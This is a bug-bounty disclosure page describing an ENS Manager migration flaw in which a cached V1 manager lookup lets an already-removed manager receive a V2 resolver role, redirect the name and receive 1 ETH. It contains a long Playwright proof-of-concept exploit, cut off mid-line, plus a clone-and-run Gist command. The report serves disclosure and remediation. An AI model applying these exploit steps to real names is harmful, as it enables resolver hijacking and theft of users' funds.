Skip to content
Access control Audit finding Advanced

Manager migration restores a removed V1 manager, enabling resolver hijack and fund theft

The ENS Manager app cached a truthful V1 manager lookup for five minutes and never re-checked the live V1 Registry before running a migration, so a manager the victim had already removed still received a fresh V2 resolver role. That removed manager could then swap the name's resolver, redirect the name to an attacker payout address, and receive funds sent through normal ENS resolution.

coinsspor Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

90626 w a medium manager migration restores a removed v1 manager enabling resolver hijack and fund theft

#90626 [W&A-Medium] Manager migration restores a removed V1 manager, enabling resolver hijack and fund theft

Submitted on Aug 26th 2026 at 03:06:03 UTC by @coinsspor for Audit Competition | ENS

  • Report ID: #90626
  • Report Type: Websites & Apps
  • Report severity: Medium
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
  • Impacts:
    • Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as:
      • a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker
      • redirecting the recipient of a name transfer
      • leaving a name permanently inaccessible after the flow
    • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as:
      • resolving or rendering an ENS name to an attacker-controlled address
      • showing the wrong recipient or amount on a transaction the user then approves
    • Direct theft of user funds

Description

Manager restores a removed V1 manager during migration, enabling resolver hijack and fund theft

Brief/Intro

ENS Manager caches a truthful V1 manager discovery result for five minutes but does not rebind that security principal to the live V1 Registry before migration execution. A victim can remove a historical manager with reclaim() on the same open Manager page, yet Upgrade still grants that removed address fresh V2 ROLE_SET_RESOLVER. The former manager can replace the migrated name's resolver, redirect the same ENS name to an attacker payout address, and receive funds sent through normal ENS resolution. The production-build end-to-end PoC demonstrates an exact 1 ETH loss without ever serving stale indexer data after reclaim.

Vulnerability Details

Affected asset and revision

  • Asset: apps/manager
  • Audited policy revision: 63772fd872af472ced58b009499355f3430c2a86
  • Public competition import used by the PoC: cda79acaad59711b943fc68207ebb3f1d0ff8596

The PoC runs against the public competition import of audited policy revision 63772fd872af472ced58b009499355f3430c2a86; the affected Manager code is unchanged in that import.

Root cause

Manager obtains V1 names from the subgraph and treats the indexed Registry owner as an authorization principal:

TS
// apps/manager/src/features/migration/hooks/useV1Names.ts
queryFn:
  enabled && address ? () => getV1NamesForAddress(address) : skipToken,
staleTime: 5 * 60 * 1000,

For an unwrapped registration, classification converts domain.owner.id into managerAddress whenever it differs from the registrant:

TS
// packages/migration/src/service/classifyNames.ts
const registryOwnerAddress = toAddress(domain.owner.id)
const managerAddress: Address | null =
  registryOwnerAddress &&
  registryOwnerAddress.toLowerCase() !== registrant.id.toLowerCase()
    ? registryOwnerAddress
    : null

Manager later builds a persistent V2 resolver-role grant to that captured address:

TS
// apps/manager/src/features/migration/service/buildRoleGrantCalls.ts
return {
  to: V2_CONTRACTS.ETHRegistry,
  data: encodeFunctionData({
    abi: ETH_REGISTRY_V2_ABI,
    functionName: 'grantRoles',
    args: [resource, ROLE_SET_RESOLVER, name.managerAddress],
  }),
  value: 0n,
}

buildAtomicMigrationBatches() inserts this call into the HCA batch and even verifies the resulting stale-address role as intended post-state. The execution path refreshes token approvals, HCA state, destination routes and receipts, but never calls the live V1 Registry owner(namehash(name)) to verify managerAddress before the grant.

The security invariant is:

A principal restored during migration must still be the authoritative V1 manager at execution time.

Attack sequence

{% stepper %} {% step %}

Historical V1 manager state

The attacker previously served as the V1 registry manager for an unwrapped victim registration. {% endstep %}

{% step %}

Truthful Manager discovery

While that state is still authoritative, the real Manager page makes exactly one getNamesForAddress request; the response truthfully contains the attacker. {% endstep %}

{% step %}

Victim removes the manager

Without closing or reloading the page, the victim authoritatively removes that manager with BaseRegistrar.reclaim(tokenId, victim). {% endstep %}

{% step %}

Attacker loses active authority

ENSRegistry.owner(namehash(name)) is now the victim, and the attacker has no active V1 or V2 role. The exact later attacker setResolver action reverts. {% endstep %}

{% step %}

Cache remains fresh

A hypothetical later discovery response is configured from live Registry state, but Manager performs no request before Upgrade because the first result remains five-minute fresh. {% endstep %}

{% step %}

Victim migrates normally

The victim confirms the normal Manager V1-to-V2 migration. {% endstep %}

{% step %}

Removed manager receives a V2 role

Manager builds and executes grantRoles(resource, 1 << 24, formerManager) from the cached historical value. {% endstep %}

{% step %}

Resolver takeover succeeds

The exact attacker setResolver action that reverted before migration now succeeds. {% endstep %}

{% step %}

ENS resolution is redirected

The same FQDN that resolved to the victim now resolves to a separate attacker payout address through the official Universal Resolver. {% endstep %}

{% step %}

Funds are sent to the attacker-controlled resolution result

A separate innocent payer sends 1 ETH to that normal resolution result. {% endstep %} {% endstepper %}

At migration execution time, the attacker is nonprivileged: the victim has already reclaimed the V1 manager position, and the attacker holds no V2 role. The PoC asserts attackerHadRoleBeforeMigration: false, captures the Manager-produced grant transaction and event (oldRoleBitmap=0, newRoleBitmap=16777216), and proves the unrelated negative-control account cannot change the resolver.

Why the root cause is in scope

The hardened PoC does not require indexer lag or a wrong response: the first and every later served response exactly match live ENSRegistry.owner() at response time. The in-scope Manager application retains the initially correct authorization value after chain state changes and converts it into fresh persistent authority without a live execution-time rebind. A Manager-only validation change eliminates the vulnerability.

Why this is not previous privilege

The attacker has already lost the V1 Registry manager position before migration and has no V2 role. Manager creates the new V2 permission. This is materially different from a current owner or manager exercising authority they still possess.

Independence from ENS-001 and public contract issues

ENS-001/89253 concerns account-only aggregation and incomplete multi-resource revocation in Portal. ENS-003 uses no aggregation or revoke flow. Contracts-v2 #418 concerns delegated roles surviving a V2 ownership transfer; ENS-003 performs no V2 transfer and instead creates a new role from stale app data. Neither fix affects this bug.

Impact Details

The exact competition Critical impact applies:

Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as: a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker.

The PoC also directly demonstrates the listed Critical impacts Direct theft of user funds and resolving an ENS name to an attacker-controlled unintended recipient.

For the same FQDN:

  • before exploitation, the official Universal Resolver returns the victim address;
  • after the former manager changes the resolver, it returns the attacker payout address;
  • the payment transaction uses the returned value as to, not a hard-coded payout;
  • the payout balance increases by exactly 1,000,000,000,000,000,000 wei.

The victim can later revoke the role and restore future resolution with two transactions. The PoC executes this recovery and does not claim permanent takeover. The completed 1 ETH payment remains at the payout address and is not recovered.

References

  • Secret Gist environment: https://gist.github.com/coinsspor/c21fb1e5bc8977bf5c18e4e8fb2e323f
  • Frozen source: apps/manager/src/features/migration/hooks/useV1Names.ts
  • Frozen source: packages/migration/src/service/classifyNames.ts
  • Frozen source: apps/manager/src/features/migration/service/buildRoleGrantCalls.ts
  • Frozen source: apps/manager/src/features/migration/service/buildAtomicMigrationBatches.ts
  • Full one-command source and successful output: IMMUNEFI-POC-SUBMISSION.md in the secret Gist
  • Raw app transaction: evidence/generated-transaction.json
  • Role event: evidence/role-grant-event.json
  • Before/after/recovery state: evidence/before-state.json, evidence/after-state.json, evidence/recovery-state.json
  • Receipts: evidence/receipts.json
  • Cache truthfulness/request log: evidence/cache-toctou.json
  • Two successful production-build runs: evidence/poc-run-1.log, evidence/poc-run-2.log

Link to Proof of Concept

https://gist.github.com/coinsspor/c21fb1e5bc8977bf5c18e4e8fb2e323f

Proof of Concept

Proof of Concept

This is an end-to-end Playwright and isolated-local-chain PoC against the frozen public competition import cda79acaad59711b943fc68207ebb3f1d0ff8596 of audited policy revision 63772fd872af472ced58b009499355f3430c2a86.

Secret Gist environment

Complete runnable source, both raw successful logs, all textual transaction/state evidence, remediation notes and the portable bootstrap are available in this secret Gist:

https://gist.github.com/coinsspor/c21fb1e5bc8977bf5c18e4e8fb2e323f

The Gist is unlisted (public: false). A clean reviewer can reproduce from it with:

Bash
git clone https://gist.github.com/c21fb1e5bc8977bf5c18e4e8fb2e323f.git ENS-003-gist
cd ENS-003-gist
bash gist-run-poc.sh

The complete runnable source, both full raw successful logs, and all critical textual evidence are available in the secret Gist; the runnable source, execution steps, and critical results are also included directly in this report.

It proves the complete sequence:

{% stepper %} {% step %}

Authentic registration and premigration state

Authentic V1 registration and V2 reserved premigration state. {% endstep %}

{% step %}

Truthful discovery response

While the attacker is the live V1 manager, production-build Manager receives exactly one truthful discovery response. {% endstep %}

{% step %}

Manager is reclaimed away

On the same open page, the victim removes that manager with real V1 reclaim. {% endstep %}

{% step %}

No stale response is provided

Manager makes no discovery request before Upgrade and receives no stale post-reclaim response. {% endstep %}

{% step %}

Attacker lacks authority before migration

The exact attacker action reverts and the attacker has no V2 resolver role before migration. {% endstep %}

{% step %}

Manager grants the removed manager authority

The app-produced migration transaction grants the removed address ROLE_SET_RESOLVER. {% endstep %}

{% step %}

Attacker changes the resolver

The same attacker action succeeds and changes the resolver. {% endstep %}

{% step %}

ENS resolution changes

The same FQDN changes from victim to a separate attacker payout through the official Universal Resolver. {% endstep %}

{% step %}

Payer sends 1 ETH

An independent payer sends 1 ETH to the actual returned resolution value, increasing payout by exactly 1e18 wei. {% endstep %}

{% step %}

Recovery prevents future abuse

Recovery stops future abuse but does not recover the payment. {% endstep %} {% endstepper %}

Prerequisites

  • Node 22, pnpm 10, Foundry and Playwright browsers;
  • Docker with Compose when the official local E2E stack is not already running.

The runner verifies the frozen SHA, starts the repository's official local E2E environment when RPC is absent, installs the frozen dependencies when needed, validates/downloads pinned Chromium, builds Manager in production CI mode, and starts its preview server.

For a clean reviewer environment, clone the secret Gist and run its bootstrap:

Bash
git clone https://gist.github.com/c21fb1e5bc8977bf5c18e4e8fb2e323f.git ENS-003-gist
cd ENS-003-gist
bash gist-run-poc.sh

File: evidence/experiments/T3-059/poc.playwright.spec.ts

TypeScript
import { Web3RequestKind } from '@ensdomains/headless-web3-provider'
import { labelToCanonicalId } from '@ensdomains/ensjs/utils/v2'
import { mkdir, readFile, writeFile } from 'node:fs/promises'
import {
  type Abi,
  type Address,
  bytesToHex,
  decodeFunctionResult,
  encodeFunctionData,
  keccak256,
  namehash,
  parseAbi,
  parseAbiItem,
  parseEther,
  toHex,
  zeroAddress,
} from 'viem'
import { packetToBytes } from 'viem/ens'
import { mnemonicToAccount, privateKeyToAccount } from 'viem/accounts'

import {
  expect,
  test,
} from '../../../frozen-src/e2e/fixtures/playwright.manager.fixture.js'
import {
  publicClient,
  testClient,
  walletClient,
} from '../../../frozen-src/e2e/helpers/anvil-client.js'
import {
  connectWithHeadlessWallet,
  dismissBackendAuthModal,
} from '../../../frozen-src/e2e/helpers/manager-auth.js'

const MANAGER_APP_URL = process.env.MANAGER_APP_URL ?? 'http://localhost:3000'
const V1_BASE_REGISTRAR =
  '0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85' as Address
const V1_ENS_REGISTRY =
  '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e' as Address
const V1_BASE_REGISTRAR_OWNER =
  '0x4ad56feb5Fc7B8298db06E88fd5CBc41D64602Fa' as Address
const V1_PUBLIC_RESOLVER =
  '0x5239A812ec9A62F46dbb5de8f346C8eFe7553A9f' as Address
const V2_ETH_REGISTRY =
  '0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2' as Address
const V2_ETH_REGISTRAR =
  '0xa88553F454b77203B0D036A05c894d555EAAa2Cc' as Address
const UNIVERSAL_RESOLVER =
  '0xeEeEEEeE14D718C2B47D9923Deab1335E144EeEe' as Address
const ROLE_SET_RESOLVER = 1n << 24n
const ONE_YEAR = 365n * 24n * 60n * 60n
const DEFAULT_ANVIL_MNEMONIC =
  'test test test test test test test test test test test junk'

const baseRegistrarAbi = parseAbi([
  'function addController(address controller)',
  'function removeController(address controller)',
  'function register(uint256 id, address owner, uint256 duration) returns (uint256)',
  'function reclaim(uint256 id, address owner)',
  'function nameExpires(uint256 id) view returns (uint256)',
])
const v1RegistryAbi = parseAbi([
  'function owner(bytes32 node) view returns (address)',
])
const v2RegistryAbi = parseAbi([
  'function register(string label, address owner, address registry, address resolver, uint256 roleBitmap, uint64 expiry) returns (uint256)',
  'function hasRoles(uint256 anyId, uint256 roleBitmap, address account) view returns (bool)',
  'function revokeRoles(uint256 resource, uint256 roleBitmap, address account) returns (bool)',
  'function getResolver(string label) view returns (address)',
  'function setResolver(uint256 anyId, address resolver)',
])
const resolverAbi = parseAbi([
  'function setAddr(bytes32 node, uint256 coinType, bytes value)',
  'function addr(bytes32 node) view returns (address)',
])
const universalResolverAbi = parseAbi([
  'function resolve(bytes name, bytes data) view returns (bytes result, address resolver)',
])
const rolesChangedEvent = parseAbiItem(
  'event EACRolesChanged(uint256 indexed resource, address indexed account, uint256 oldRoleBitmap, uint256 newRoleBitmap)',
)

const installMigrationFeatureFlag = async (
  page: Parameters<typeof connectWithHeadlessWallet>[0],
) => {
  await page.addInitScript(() => {
    type PostHogWindow = Window & {
      managerFeatureFlagsOverridden?: boolean
      posthog?: {
        __loaded?: boolean
        featureFlags?: {
          overrideFeatureFlags(options: {
            flags: Record<string, boolean>
          }): void
        }
      }
    }
    const apply = () => {
      const current = window as PostHogWindow
      if (!current.posthog?.__loaded || !current.posthog.featureFlags) {
        return false
      }
      current.posthog.featureFlags.overrideFeatureFlags({
        flags: { migration: true },
      })
      current.managerFeatureFlagsOverridden = true
      return true
    }
    if (apply()) return
    const interval = window.setInterval(() => {
      if (apply()) window.clearInterval(interval)
    }, 10)
  })
}

const resolveEthAddress = async (ensName: string): Promise<{
  address: Address
  resolver: Address
}> => {
  const node = namehash(ensName)
  const call = encodeFunctionData({
    abi: resolverAbi,
    functionName: 'addr',
    args: [node],
  })
  const [result, resolver] = await publicClient.readContract({
    address: UNIVERSAL_RESOLVER,
    abi: universalResolverAbi,
    functionName: 'resolve',
    args: [bytesToHex(packetToBytes(ensName)), call],
  })
  return {
    address: decodeFunctionResult({
      abi: resolverAbi,
      functionName: 'addr',
      data: result,
    }),
    resolver,
  }
}

const getEthBalanceUncached = async (
  address: Address,
  blockTag: 'latest' | `0x${string}` = 'latest',
): Promise<bigint> =>
  BigInt(
    await publicClient.request({
      method: 'eth_getBalance',
      params: [address, blockTag],
    }),
  )

async function makeFrozenV1MigrationFixture(
  victim: ReturnType<typeof privateKeyToAccount>,
): Promise<string> {
  const label = `stale-manager-${Date.now()}`
  const tokenId = BigInt(keccak256(toHex(label)))

  // Deterministic local setup only: temporarily make the victim a registrar
  // controller, mint an authentic V1 ERC-721, then remove that setup power.
  // The candidate path itself never relies on impersonation or storage writes.
  await testClient.setBalance({
    address: V1_BASE_REGISTRAR_OWNER,
    value: 10n ** 18n,
  })
  await testClient.impersonateAccount({ address: V1_BASE_REGISTRAR_OWNER })
  try {
    const addHash = await walletClient.sendTransaction({
      account: V1_BASE_REGISTRAR_OWNER,
      to: V1_BASE_REGISTRAR,
      data: encodeFunctionData({
        abi: baseRegistrarAbi,
        functionName: 'addController',
        args: [victim.address],
      }),
    })
    await publicClient.waitForTransactionReceipt({ hash: addHash })

    const registerHash = await walletClient.sendTransaction({
      account: victim,
      to: V1_BASE_REGISTRAR,
      data: encodeFunctionData({
        abi: baseRegistrarAbi,
        functionName: 'register',
        args: [tokenId, victim.address, ONE_YEAR],
      }),
    })
    await publicClient.waitForTransactionReceipt({ hash: registerHash })

    const removeHash = await walletClient.sendTransaction({
      account: V1_BASE_REGISTRAR_OWNER,
      to: V1_BASE_REGISTRAR,
      data: encodeFunctionData({
        abi: baseRegistrarAbi,
        functionName: 'removeController',
        args: [victim.address],
      }),
    })
    await publicClient.waitForTransactionReceipt({ hash: removeHash })
  } finally {
    await testClient.stopImpersonatingAccount({
      address: V1_BASE_REGISTRAR_OWNER,
    })
  }

  // V1 registration normally establishes the registry manager via reclaim.
  const reclaimHash = await walletClient.sendTransaction({
    account: victim,
    to: V1_BASE_REGISTRAR,
    data: encodeFunctionData({
      abi: baseRegistrarAbi,
      functionName: 'reclaim',
      args: [tokenId, victim.address],
    }),
  })
  await publicClient.waitForTransactionReceipt({ hash: reclaimHash })

  const expiry = await publicClient.readContract({
    address: V1_BASE_REGISTRAR,
    abi: baseRegistrarAbi,
    functionName: 'nameExpires',
    args: [tokenId],
  })

  // Mirror the production premigration snapshot: a V1 name has a RESERVED V2
  // slot. The real V2 registrar is impersonated only to create that fixture.
  await testClient.setBalance({ address: V2_ETH_REGISTRAR, value: 10n ** 18n })
  await testClient.impersonateAccount({ address: V2_ETH_REGISTRAR })
  try {
    const reserveHash = await walletClient.sendTransaction({
      account: V2_ETH_REGISTRAR,
      to: V2_ETH_REGISTRY,
      data: encodeFunctionData({
        abi: v2RegistryAbi,
        functionName: 'register',
        args: [
          label,
          zeroAddress,
          zeroAddress,
          V1_PUBLIC_RESOLVER,
          0n,
          expiry,
        ],
      }),
    })
    await publicClient.waitForTransactionReceipt({ hash: reserveHash })
  } finally {
    await testClient.stopImpersonatingAccount({ address: V2_ETH_REGISTRAR })
  }

  return `${label}.eth`
}

test.describe('T3-059 stale V1 manager resurrection', () => {
  test.describe.configure({ timeout: 300_000 })

  test('real Manager migration grants V2 resolver authority to a manager already reclaimed away on V1', async ({
    page,
    wallet,
    accounts,
  }) => {
    const victim = privateKeyToAccount(accounts.getPrivateKey('user'))
    // `user2` is the V2 deployment owner in this local stack. It must never be
    // used as the attacker because its root authority would invalidate causal
    // proof. user3/user4 start with no registry privilege.
    const attacker = privateKeyToAccount(accounts.getPrivateKey('user3'))
    const negativeControl = privateKeyToAccount(accounts.getPrivateKey('user4'))
    const payout = mnemonicToAccount(DEFAULT_ANVIL_MNEMONIC, {
      addressIndex: 4,
    })
    const payer = mnemonicToAccount(DEFAULT_ANVIL_MNEMONIC, {
      addressIndex: 5,
    })
    // These well-known test addresses carry unrelated EIP-7702 delegation
    // code in the pinned Sepolia fork. Mirror the official wallet fixture's
    // EOA normalization so payout accounting measures a plain receiving EOA.
    await testClient.setCode({ address: payout.address, bytecode: '0x' })
    await testClient.setCode({ address: payer.address, bytecode: '0x' })
    const ensName = await makeFrozenV1MigrationFixture(victim)
    const label = ensName.slice(0, -4)
    const node = namehash(ensName)
    const tokenId = BigInt(keccak256(toHex(label)))
    const resource = labelToCanonicalId(label)
    const expiry = await publicClient.readContract({
      address: V1_BASE_REGISTRAR,
      abi: baseRegistrarAbi,
      functionName: 'nameExpires',
      args: [tokenId],
    })

    // Establish a real legacy manager epoch on V1.
    const grantManagerHash = await walletClient.sendTransaction({
      account: victim,
      to: V1_BASE_REGISTRAR,
      data: encodeFunctionData({
        abi: baseRegistrarAbi,
        functionName: 'reclaim',
        args: [tokenId, attacker.address],
      }),
    })
    await publicClient.waitForTransactionReceipt({ hash: grantManagerHash })
    expect(
      (
        await publicClient.readContract({
          address: V1_ENS_REGISTRY,
          abi: v1RegistryAbi,
          functionName: 'owner',
          args: [node],
        })
      ).toLowerCase(),
    ).toBe(attacker.address.toLowerCase())

    const domainForManager = (manager: Address) => ({
      id: node,
      labelName: label,
      labelhash: keccak256(toHex(label)),
      name: ensName,
      resolver: null,
      owner: { id: manager.toLowerCase() },
      registrant: { id: victim.address.toLowerCase() },
      wrappedOwner: null,
      parent: { name: 'eth', wrappedDomain: null },
      registration: { expiryDate: expiry.toString() },
      wrappedDomain: null,
    })

    // Every response is truthful at response time. If Manager asks again after
    // reclaim, this handler returns the fresh live manager. The exploit is
    // caused solely by Manager retaining the first truthful response for five
    // minutes and not rebinding authority before transaction construction.
    let namesRequestCount = 0
    let reclaimCompleted = false
    const namesResponseLog: Array<{
      request: number
      liveManager: Address
      returnedManager: Address
      afterReclaim: boolean
    }> = []

    const localServiceRoutes = [
      ['**/rpc', 'http://127.0.0.1:8545'],
      ['**/orchestrator', 'http://127.0.0.1:3007'],
      ['**/bundler', 'http://127.0.0.1:4337'],
      ['**/paymaster', 'http://127.0.0.1:3002'],
    ] as const
    for (const [pattern, target] of localServiceRoutes) {
      await page.route(pattern, async (route) => {
        const response = await route.fetch({ url: target })
        await route.fulfill({ response })
      })
    }
    await page.route('**/v1-graphql.ens.dev/subgraph', async (route, request) => {
      const body = request.postData() ?? ''
      if (body.includes('getNamesForAddress')) {
        namesRequestCount += 1
        const liveManager = await publicClient.readContract({
          address: V1_ENS_REGISTRY,
          abi: v1RegistryAbi,
          functionName: 'owner',
          args: [node],
        })
        namesResponseLog.push({
          request: namesRequestCount,
          liveManager,
          returnedManager: liveManager,
          afterReclaim: reclaimCompleted,
        })
        await route.fulfill({
          status: 200,
          contentType: 'application/json',
          body: JSON.stringify({
            data: { domains: [domainForManager(liveManager)] },
          }),
        })
        return
      }
      if (body.includes('getProfilesForDomains')) {
        await route.fulfill({
          status: 200,
          contentType: 'application/json',
          body: JSON.stringify({ data: { domains: [] } }),
        })
        return
      }
      await route.continue()
    })

    await installMigrationFeatureFlag(page)
    await page.goto(`${MANAGER_APP_URL}/migration`)
    await Promise.race([
      page.waitForLoadState('networkidle'),
      page.waitForTimeout(5_000),
    ]).catch(() => {})
    await connectWithHeadlessWallet(page, wallet)
    await dismissBackendAuthModal(page, { timeout: 20_000 })
    await page.waitForFunction(
      () =>
        (
          window as Window & {
            managerFeatureFlagsOverridden?: boolean
          }
        ).managerFeatureFlagsOverridden === true,
      undefined,
      { timeout: 10_000 },
    )
    await page.goto(`${MANAGER_APP_URL}/migration`)
    await page.waitForLoadState('networkidle')
    await page
      .getByText('Your names are ready to upgrade')
      .waitFor({ state: 'visible', timeout: 20_000 })
    const upgradeButton = page.getByRole('button', {
      name: /Upgrade 1 name/i,
    })
    await upgradeButton.waitFor({ state: 'visible', timeout: 60_000 })
    await expect(upgradeButton).toBeEnabled({ timeout: 60_000 })
    expect(namesRequestCount).toBe(1)
    expect(namesResponseLog).toHaveLength(1)
    expect(namesResponseLog[0]?.returnedManager.toLowerCase()).toBe(
      attacker.address.toLowerCase(),
    )
    const liveManagerAtFirstResponse = namesResponseLog[0]!.liveManager
    expect(liveManagerAtFirstResponse.toLowerCase()).toBe(
      attacker.address.toLowerCase(),
    )

    const reclaimHash = await walletClient.sendTransaction({
      account: victim,
      to: V1_BASE_REGISTRAR,
      data: encodeFunctionData({
        abi: baseRegistrarAbi,
        functionName: 'reclaim',
        args: [tokenId, victim.address],
      }),
    })
    const reclaimReceipt = await publicClient.waitForTransactionReceipt({
      hash: reclaimHash,
    })
    const liveManagerAfterReclaim = await publicClient.readContract({
      address: V1_ENS_REGISTRY,
      abi: v1RegistryAbi,
      functionName: 'owner',
      args: [node],
    })
    expect(reclaimReceipt.status).toBe('success')
    expect(liveManagerAfterReclaim.toLowerCase()).toBe(
      victim.address.toLowerCase(),
    )
    reclaimCompleted = true
    await page.waitForTimeout(1_000)
    expect(namesRequestCount).toBe(1)

    const attackerHadRoleBeforeMigration = await publicClient.readContract({
      address: V2_ETH_REGISTRY,
      abi: v2RegistryAbi,
      functionName: 'hasRoles',
      args: [resource, ROLE_SET_RESOLVER, attacker.address],
    })
    expect(attackerHadRoleBeforeMigration).toBe(false)

    const artifact = JSON.parse(
      await readFile(
        new URL(
          './out/AttackerResolver.sol/AttackerResolver.json',
          import.meta.url,
        ),
        'utf8',
      ),
    ) as {
      abi: Abi
      bytecode: { object: `0x${string}` }
    }
    const deployHash = await walletClient.deployContract({
      account: attacker,
      abi: artifact.abi,
      bytecode: artifact.bytecode.object,
      args: [payout.address],
    })
    const deployReceipt = await publicClient.waitForTransactionReceipt({
      hash: deployHash,
    })
    if (!deployReceipt.contractAddress) {
      throw new Error('AttackerResolver deployment did not return an address')
    }
    const attackerResolver = deployReceipt.contractAddress

    let attackerActionRevertedBeforeMigration = false
    try {
      await publicClient.simulateContract({
        account: attacker,
        address: V2_ETH_REGISTRY,
        abi: v2RegistryAbi,
        functionName: 'setResolver',
        args: [resource, attackerResolver],
      })
    } catch {
      attackerActionRevertedBeforeMigration = true
    }
    expect(attackerActionRevertedBeforeMigration).toBe(true)

    const namesRequestCountBeforeUpgrade = namesRequestCount
    expect(namesRequestCountBeforeUpgrade).toBe(1)
    const blockBeforeMigration = await publicClient.getBlockNumber({ cacheTime: 0 })
    await upgradeButton.click()

    const success = page.getByText('Your name has been upgraded!')
    const deadline = Date.now() + 180_000
    while (!(await success.isVisible().catch(() => false))) {
      if (Date.now() > deadline) {
        throw n

The original report as published on Immunefi, by coinsspor. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Manager app treats a cached, indexed V1 registry owner as an authorisation principal and grants it a persistent V2 resolver role without re-reading the live V1 Registry owner at execution time.

Impact

The removed manager could hijack the name's resolver and receive funds sent to it; the PoC shows an exact 1 ETH loss, though the victim can later revoke the role and restore future resolution.

What the attacker needed

Victim owns an unwrapped V1 name; attacker was its V1 manager; victim removes manager, page stays open; victim then runs the migration

The fix

The Manager should re-read the live V1 Registry owner for the name at migration execution time and only grant the resolver role if that address still matches the cached manager.

How it was found

  1. The attacker is the V1 registry manager for the victim's unwrapped name, and the Manager page fetches this once truthfully.
  2. Without reloading the page, the victim removes that manager using the registrar's reclaim function.
  3. The attacker now has no V1 or V2 authority, and their resolver-change action reverts.
  4. The victim confirms the normal V1-to-V2 migration in the still-open Manager page.
  5. The app grants the removed manager the V2 resolver role from the cached value.
  6. The attacker's resolver change now succeeds, the name resolves to their payout address, and a payer sends 1 ETH to it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you own an ENS name you can appoint a 'manager' who is allowed to change settings such as which address the name points to. The app remembered who the manager was for a few minutes, and when the owner removed that manager and upgraded the name, the app still handed the old manager permission on the new system. The old manager could then point the name at their own wallet, so money sent to the name went to them.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by coinsspor

View all

9 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.